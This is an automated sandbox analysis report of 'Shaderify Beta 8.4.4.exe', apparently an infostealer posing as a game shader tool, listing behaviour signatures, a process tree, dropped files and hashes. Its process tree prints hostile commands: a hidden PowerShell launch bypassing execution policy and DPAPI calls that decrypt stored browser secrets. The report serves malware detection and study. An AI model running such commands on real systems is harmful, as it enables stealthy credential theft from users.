Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-06-2024 08:53

General

  • Target

    Shaderify Beta 8.4.4.exe

  • Size

    53.4MB

  • MD5

    00fd4bc0a7baa10e72d1990cb10dd831

  • SHA1

    f9489c06d63debd3d1d42655f59f3885ec69716d

  • SHA256

    2bd09329ad4d791ebabbb6e37876ccbfba538231e91487d6fc9c7abe28ddfc64

  • SHA512

    e8a3d1fdc9fda83d9ca2789d6ebd507e9326aabb51cca0e25b55fc9b6566ec27f12db37e29030e0d5978428bf9baeea55351966b33f20fc301dcab8513f79132

  • SSDEEP

    786432:fOHETki1abURB3jCKt3+l7eeHwQXG01UsMhb0lRJR/vACVs8F5j5mgbprQLL:g1rgCKt367XwuGcdM1+zHOK5zrQLL

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Shaderify Beta 8.4.4.exe
    "C:\Users\Admin\AppData\Local\Temp\Shaderify Beta 8.4.4.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe
      C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:656
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wkezjkl4\wkezjkl4.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2224
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4DC2.tmp" "c:\Users\Admin\AppData\Local\Temp\wkezjkl4\CSC8B5D8988B1464AE885AC9483C8AE36D8.TMP"
              6⤵
                PID:1812
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "tasklist"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3472
          • C:\Windows\system32\tasklist.exe
            tasklist
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4792
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,52,149,19,144,89,112,59,59,251,229,141,202,64,101,240,104,137,13,3,69,53,156,155,146,175,90,146,162,246,238,201,90,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,8,59,176,18,137,226,140,52,19,171,62,247,31,153,110,138,40,43,108,72,120,10,22,206,204,166,195,251,206,76,84,236,48,0,0,0,182,67,21,24,178,28,183,38,171,5,235,33,128,96,100,191,115,29,3,244,255,89,222,94,221,44,46,134,199,244,235,56,71,157,109,19,168,133,44,36,119,44,14,122,209,122,31,112,64,0,0,0,122,214,19,81,118,163,136,78,57,148,251,210,240,3,134,99,156,175,50,154,230,153,101,220,35,132,92,147,223,230,14,232,202,102,120,97,201,199,70,225,226,97,114,2,149,239,63,52,211,209,152,49,2,92,152,238,148,185,58,73,30,45,12,201), $null, 'CurrentUser')"
          3⤵
          • An obfuscated cmd.exe command-line is typically used to evade detection.
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,52,149,19,144,89,112,59,59,251,229,141,202,64,101,240,104,137,13,3,69,53,156,155,146,175,90,146,162,246,238,201,90,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,8,59,176,18,137,226,140,52,19,171,62,247,31,153,110,138,40,43,108,72,120,10,22,206,204,166,195,251,206,76,84,236,48,0,0,0,182,67,21,24,178,28,183,38,171,5,235,33,128,96,100,191,115,29,3,244,255,89,222,94,221,44,46,134,199,244,235,56,71,157,109,19,168,133,44,36,119,44,14,122,209,122,31,112,64,0,0,0,122,214,19,81,118,163,136,78,57,148,251,210,240,3,134,99,156,175,50,154,230,153,101,220,35,132,92,147,223,230,14,232,202,102,120,97,201,199,70,225,226,97,114,2,149,239,63,52,211,209,152,49,2,92,152,238,148,185,58,73,30,45,12,201), $null, 'CurrentUser')
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4624
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,87,225,225,105,74,250,17,14,121,162,50,56,214,71,202,251,32,121,40,26,5,205,214,52,26,191,58,177,200,241,246,155,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,137,230,184,142,248,175,36,120,222,4,110,117,60,85,255,52,21,39,177,126,38,76,194,9,75,54,127,87,52,196,251,57,48,0,0,0,62,242,129,76,25,82,189,44,92,5,130,128,156,115,35,25,175,83,81,85,159,232,192,255,184,181,3,127,179,216,232,85,78,47,144,255,115,62,133,108,75,82,5,154,21,128,253,243,64,0,0,0,96,3,115,172,134,228,139,54,161,25,254,150,216,24,138,103,124,43,211,181,183,191,211,17,78,104,20,9,218,8,230,157,99,145,15,109,156,238,65,113,104,211,133,73,126,187,22,212,132,81,131,66,39,202,237,184,142,225,59,166,44,170,47,76), $null, 'CurrentUser')"
          3⤵
          • An obfuscated cmd.exe command-line is typically used to evade detection.
          • Suspicious use of WriteProcessMemory
          PID:3448
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,87,225,225,105,74,250,17,14,121,162,50,56,214,71,202,251,32,121,40,26,5,205,214,52,26,191,58,177,200,241,246,155,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,137,230,184,142,248,175,36,120,222,4,110,117,60,85,255,52,21,39,177,126,38,76,194,9,75,54,127,87,52,196,251,57,48,0,0,0,62,242,129,76,25,82,189,44,92,5,130,128,156,115,35,25,175,83,81,85,159,232,192,255,184,181,3,127,179,216,232,85,78,47,144,255,115,62,133,108,75,82,5,154,21,128,253,243,64,0,0,0,96,3,115,172,134,228,139,54,161,25,254,150,216,24,138,103,124,43,211,181,183,191,211,17,78,104,20,9,218,8,230,157,99,145,15,109,156,238,65,113,104,211,133,73,126,187,22,212,132,81,131,66,39,202,237,184,142,225,59,166,44,170,47,76), $null, 'CurrentUser')
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4884
        • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe
          "C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1840,1509777136373570988,2685637573067112331,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1844 /prefetch:2
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2696
        • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe
          "C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1840,1509777136373570988,2685637573067112331,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2124 /prefetch:8
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:2984
        • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe
          "C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1840,1509777136373570988,2685637573067112331,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1344 /prefetch:2
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:640
    • C:\Windows\System32\CompPkgSrv.exe
      C:\Windows\System32\CompPkgSrv.exe -Embedding
      1⤵
        PID:1628

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\edge\Updater\Get-Clipboard.ps1

        Filesize

        3KB

        MD5

        52cc110bb3777aa6bba7900630d4eb49

        SHA1

        3663dc658fd13d407e49781d1a5c2aa203c252fc

        SHA256

        892a9edb03db3fd88fecc1e1a2f56a7339f16f6734e8d77e6538ea2c8c9026d6

        SHA512

        89b80d2783e902d68ffd08b6f3fb1848ae6e6c4bf2d7a1e4afdac970b2ee6ffcc58116cdd6234e3d6278eb9413d36aafe62b5beca24a0846575d12af0c5112ab

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        f48896adf9a23882050cdff97f610a7f

        SHA1

        4c5a610df62834d43f470cae7e851946530e3086

        SHA256

        3ae35c2828715a2f9a5531d334a0cfffc81396c2dc058ca42a9943f3cdc22e78

        SHA512

        16644246f2a35a186fcb5c2b6456ed6a16e8db65ad1383109e06547f9b1f9358f071c30cca541ca4cf7bae66cb534535e88f75f6296a4bfc6c7b22b0684a6ba9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        d358fd72a9c8adac36ad1f4e06d7c892

        SHA1

        a068b9af680e94996eaa99e9dcb4a4ee6f311e56

        SHA256

        309d625be93fe6ff8376930ba8a84ba845f59c6fd7ef038820d71d099aebf76e

        SHA512

        8c95254675917c25550f023396c64a6a02ba9adcfd6b7f156abebe4a9d85d65100f3cada43debd747cb7dddad88b21e0c44dad7e288e009b2f3d099c49bd4715

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\Admincookies.zip

        Filesize

        22B

        MD5

        76cdb2bad9582d23c1f6f4d868218d6c

        SHA1

        b04f3ee8f5e43fa3b162981b50bb72fe1acabb33

        SHA256

        8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85

        SHA512

        5e2f959f36b66df0580a94f384c5fc1ceeec4b2a3925f062d7b68f21758b86581ac2adcfdde73a171a28496e758ef1b23ca4951c05455cdae9357cc3b5a5825f

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\D3DCompiler_47.dll

        Filesize

        4.3MB

        MD5

        7641e39b7da4077084d2afe7c31032e0

        SHA1

        2256644f69435ff2fee76deb04d918083960d1eb

        SHA256

        44422e6936dc72b7ac5ed16bb8bcae164b7554513e52efb66a3e942cec328a47

        SHA512

        8010e1cb17fa18bbf72d8344e1d63ded7cef7be6e7c13434fa6d8e22ce1d58a4d426959bdcb031502d4b145e29cb111af929fcbc66001111fbc6d7a19e8800a5

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\chrome_100_percent.pak

        Filesize

        121KB

        MD5

        06baf0ad34e0231bd76651203dba8326

        SHA1

        a5f99ecdcc06dec9d7f9ce0a8c66e46969117391

        SHA256

        5ae14147992a92548bcad76867dd88cdfcdb69d951c8720920cce6fb135e3189

        SHA512

        aff6616e56781ebb925a0ca146245ad3b2827250b32261c0c7c0d5b10b20a343a17fc3761c95d93104163e77b2eae3f1f9cbd3cb2b377f49b42bea39bdd09b91

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\chrome_200_percent.pak

        Filesize

        181KB

        MD5

        57c27201e7cd33471da7ec205fe9973c

        SHA1

        a8e7bce09c4cbdae2797611b2be8aeb5491036f9

        SHA256

        dd8146b2ee289e4d54a4a0f1fd3b2f61b979c6a2baaba96a406d96c3f4fdb33b

        SHA512

        57258aa169bec66abf0f45a3e026bb68751fb970b74bd0cb465607fa3b2a89967e832d92d8f675f0449bb6662fcb7786d05f0597124cc8e18bb99a47245779b4

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\ffmpeg.dll

        Filesize

        2.7MB

        MD5

        eabfc10d56cb44a86493cb2f8ca7aab2

        SHA1

        09d7e87f43527333cd021329d6c2f4e8bd8ddab5

        SHA256

        42a2a996ac433ac33a22776b8418a82753557093d90147b7951138b5c83924b6

        SHA512

        ee31e3539fba9e5969a9f38c428f586de2dd7630cb5d8c5e3c2c934b5881f8176b8ab6ef6397c1ce4fa6ccf3ee9615225c7afa0e0b28c6fc23974e8b96625dec

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\icudtl.dat

        Filesize

        10.0MB

        MD5

        ad2988770b8cb3281a28783ad833a201

        SHA1

        94b7586ee187d9b58405485f4c551b55615f11b5

        SHA256

        df876c7af43ed93eec6aea4d2d55c805009c219653cdeb368f1d048f4922b108

        SHA512

        f27e542a9c6c60fa28c5b7cc2818079341ef93aef3bbcadecad2dc11aff5b1592b19c7ebfa543ea42a3cbfec26a668641b255545fb0912056e25e852c2dedd01

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\libegl.dll

        Filesize

        438KB

        MD5

        660a9ae1282e6205fc0a51e64470eb5b

        SHA1

        f91a9c9559f51a8f33a552f0145ed9e706909de8

        SHA256

        f2a841b6ef320f226965c7cb01fbc4709fc31425e490a3edfa20147ce3656c85

        SHA512

        20bed2bed042033e3d8b077f9d66bce67922aaec180cc3777f20560219226b7efc73932bb87445afda4e3877472ddcd307215d23954cd082051437e5f2224263

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\libglesv2.dll

        Filesize

        7.3MB

        MD5

        bc45db0195aa369cc3c572e4e9eefc7e

        SHA1

        b880ca4933656be52f027028af5ef8a3b7e07e97

        SHA256

        a81729fd6ee2d64dfc47501a1d53794cdeee5c1daa3751f7554aea2503686d10

        SHA512

        dd8c39947e7d767fbdccf90c5b3eaedf3937b43c55200d2199107333b63ac09e5356c286618874fac841e1357dd927e0c70b5066c1feeedd8cc6c0fba605ee5f

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\locales\en-US.pak

        Filesize

        83KB

        MD5

        bd8f7b719110342b7cefb16ddd05ec55

        SHA1

        82a79aeaa1dd4b1464b67053ba1766a4498c13e7

        SHA256

        d1d3f892be16329c79f9a8ee8c5fa1c9fb46d17edfeb56a3d9407f9d7587a0de

        SHA512

        7cd1493e59e87c70927e66769eb200f79a57e1eb1223af4eb4064088571893d3e32cbc4b5ece568fd308992aad65684aa280dc9834f2b5d327bdee514b046e5e

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\resources.pak

        Filesize

        4.8MB

        MD5

        d13873f6fb051266deb3599b14535806

        SHA1

        143782c0ce5a5773ae0aae7a22377c8a6d18a5b2

        SHA256

        7b953443e3cd54a0a4775528b52fbfe5ebecbc2c71731600ed0999d227969506

        SHA512

        1ab38fcb70d1958c74da2493459532b52a04b884009509a1ac8dd39f6e9e670658a52f4d19ef57f1bc71dccfdd6ceedbc18034bbcad0b500d75a97c74aac6939

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\resources\app.asar

        Filesize

        12.3MB

        MD5

        9fc83d8c2973e2b71a40fa3d9a645d24

        SHA1

        e8de86beee4a3373337420922a9e2d03f2006199

        SHA256

        6ee130d45c67311acd315bb7b1390df04bb0350a879f602f88d91b127334b81c

        SHA512

        050349ac8cafe1624109f78f7bc4a33a9f8214e02c8e63acac6fade250761513111e1fc3fadc1f0e53703a91ec354522179483b91a382eeab14bbd5b4969867b

      • C:\Users\Admin\AppData\Local\Temp\2hKeMY7jlKB9NEevxDTBw3Vlp4o\v8_context_snapshot.bin

        Filesize

        168KB

        MD5

        c2208c06c8ff81bca3c092cc42b8df1b

        SHA1

        f7b9faa9ba0e72d062f68642a02cc8f3fed49910

        SHA256

        4a67de195878d290f49b503b83e415917b8bbcbd9936b07a5d33b48e9bc6e0a3

        SHA512

        6c3c370dd086a976c44d4059a315bd3bcbb50961aa34734e65a40d861cffca9090d47cec74575afe23952e394e4845bda2d8798eebe01fb54a7a6288bce238f5

      • C:\Users\Admin\AppData\Local\Temp\RES4DC2.tmp

        Filesize

        1KB

        MD5

        1717a858fd499e6bf709acd8fdd770d4

        SHA1

        c256eb915102edbeca532fd2ef074a3376236192

        SHA256

        1d966328d26b94e86028b5c9b2dd02ec09935b9261b92adc38ffbc150fd64a18

        SHA512

        be94fe2143102eb5a7daa6fd5702a13ba8b47b8ccfe5a8f511a1d084101a96bceaac14cff7231c751f3ee74a836a065433dd230fe8ce06d2a7e6db26921ddcef

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cl5mwhp5.ms5.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\b84a949a-8533-42cb-a100-a7916e0e3bff.tmp.node

        Filesize

        1.4MB

        MD5

        56192831a7f808874207ba593f464415

        SHA1

        e0c18c72a62692d856da1f8988b0bc9c8088d2aa

        SHA256

        6aa8763714aa5199a4065259af792292c2a7d6a2c381aa27007255421e5c9d8c

        SHA512

        c82aa1ef569c232b4b4f98a3789f2390e5f7bf5cc7e73d199fe23a3f636817edfdc2fb49ce7f69169c028a9dd5ab9f63e8f64964bb22424fc08db71e85054a33

      • C:\Users\Admin\AppData\Local\Temp\nsf3AB8.tmp\StdUtils.dll

        Filesize

        101KB

        MD5

        33b4e69e7835e18b9437623367dd1787

        SHA1

        53afa03edaf931abdc2d828e5a2c89ad573d926c

        SHA256

        72d38ef115e71fc73dc5978987c583fc8c6b50ff12e4a5d30649a4d164a8b6ae

        SHA512

        ca890e785d1a0a7e0b4a748416fba417826ae66b46e600f407d4e795b444612a8b830f579f2cf5b6e051bea800604f34f8801cc3daf05c8d29ad05bcda454a77

      • C:\Users\Admin\AppData\Local\Temp\nsf3AB8.tmp\System.dll

        Filesize

        11KB

        MD5

        75ed96254fbf894e42058062b4b4f0d1

        SHA1

        996503f1383b49021eb3427bc28d13b5bbd11977

        SHA256

        a632d74332b3f08f834c732a103dafeb09a540823a2217ca7f49159755e8f1d7

        SHA512

        58174896db81d481947b8745dafe3a02c150f3938bb4543256e8cce1145154e016d481df9fe68dac6d48407c62cbe20753320ebd5fe5e84806d07ce78e0eb0c4

      • C:\Users\Admin\AppData\Local\Temp\nsf3AB8.tmp\nsis7z.dll

        Filesize

        391KB

        MD5

        c6a070b3e68b292bb0efc9b26e85e9cc

        SHA1

        5a922b96eda6595a68fd0a9051236162ff2e2ada

        SHA256

        66ac8bd1f273a73e17a3f31d6add739d3cb0330a6417faeda11a9cae00b62d8b

        SHA512

        8eff8fc16f5bb574bd9483e3b217b67a8986e31497368c06fdaa3a1e93a40aee94a5b31729d01905157b0ae1e556a402f43cd29a4d30a0587e1ec334458a44e8

      • C:\Users\Admin\AppData\Local\Temp\wkezjkl4\wkezjkl4.dll

        Filesize

        3KB

        MD5

        ed109863926f5575afc55875429b2ee8

        SHA1

        efa509b8334abc68ea52f2aa23ed1bdcbd910707

        SHA256

        9cabcedaa0a3567194688359c0825a6a1b65a2a19e2fc5887ec4c99ac91bc6d2

        SHA512

        db7448b8194c41381c1b705a17538a6472d035cd43da15ae5129f5c967cb5daf951f9c586b91b8afe2a2f10d946b73c6c1a85ec84cc3f146ada372c0b4847484

      • \??\c:\Users\Admin\AppData\Local\Temp\wkezjkl4\CSC8B5D8988B1464AE885AC9483C8AE36D8.TMP

        Filesize

        652B

        MD5

        d3d58930dc7bbe3f96825cfce06cdd0b

        SHA1

        0246d0ff700f0c445257c619c0d8702a6a8919d6

        SHA256

        3961f41743de7c191778278209702e45fea3604bfa59385f2c472929c4f63ef2

        SHA512

        a109a54c30cb808ed1bf2ff6926dbe66d0c15ddb5158bf651f6273d96b5f310dc2776327b1a16e7ff7e7b0a57f3c8fd9b6291e0a21fa267b9717d1dc6a854861

      • \??\c:\Users\Admin\AppData\Local\Temp\wkezjkl4\wkezjkl4.0.cs

        Filesize

        426B

        MD5

        b462a7b0998b386a2047c941506f7c1b

        SHA1

        61e8aa007164305a51fa2f1cebaf3f8e60a6a59f

        SHA256

        a81f86cd4d33ebbf2b725df6702b8f6b3c31627bf52eb1cadc1e40b1c0c2bb35

        SHA512

        eb41b838cc5726f4d1601d3c68d455203d3c23f17469b3c8cbdd552f479f14829856d699f310dec05fe7504a2ae511d0b7ffff6b66ceadb5a225efe3e2f3a020

      • \??\c:\Users\Admin\AppData\Local\Temp\wkezjkl4\wkezjkl4.cmdline

        Filesize

        369B

        MD5

        1f7e43c8dd997df7b17a87a843806bd0

        SHA1

        b11a922bba598e0e2b3322104d0642fe5ff47a36

        SHA256

        c53a03ffd94066aa747ed39c0e1aab50ad8148b595c5e0e874a3b1e1ed52e827

        SHA512

        66f63708eef747a95f066908ed9014e44b0bbc51aca39dd204a636a0748a94febadc69f8569ee119284bccee31186fcd5be0a9164770e694162bb3acdfd7678d

      • memory/656-182-0x0000022358860000-0x0000022358882000-memory.dmp

        Filesize

        136KB

      • memory/656-207-0x00000223588D0000-0x00000223588D8000-memory.dmp

        Filesize

        32KB

      • memory/2696-241-0x00007FFE571C0000-0x00007FFE571C1000-memory.dmp

        Filesize

        4KB

      • memory/2696-270-0x00000221BA620000-0x00000221BAD5F000-memory.dmp

        Filesize

        7.2MB

      • memory/4624-210-0x000001A9FED90000-0x000001A9FEDE0000-memory.dmp

        Filesize

        320KB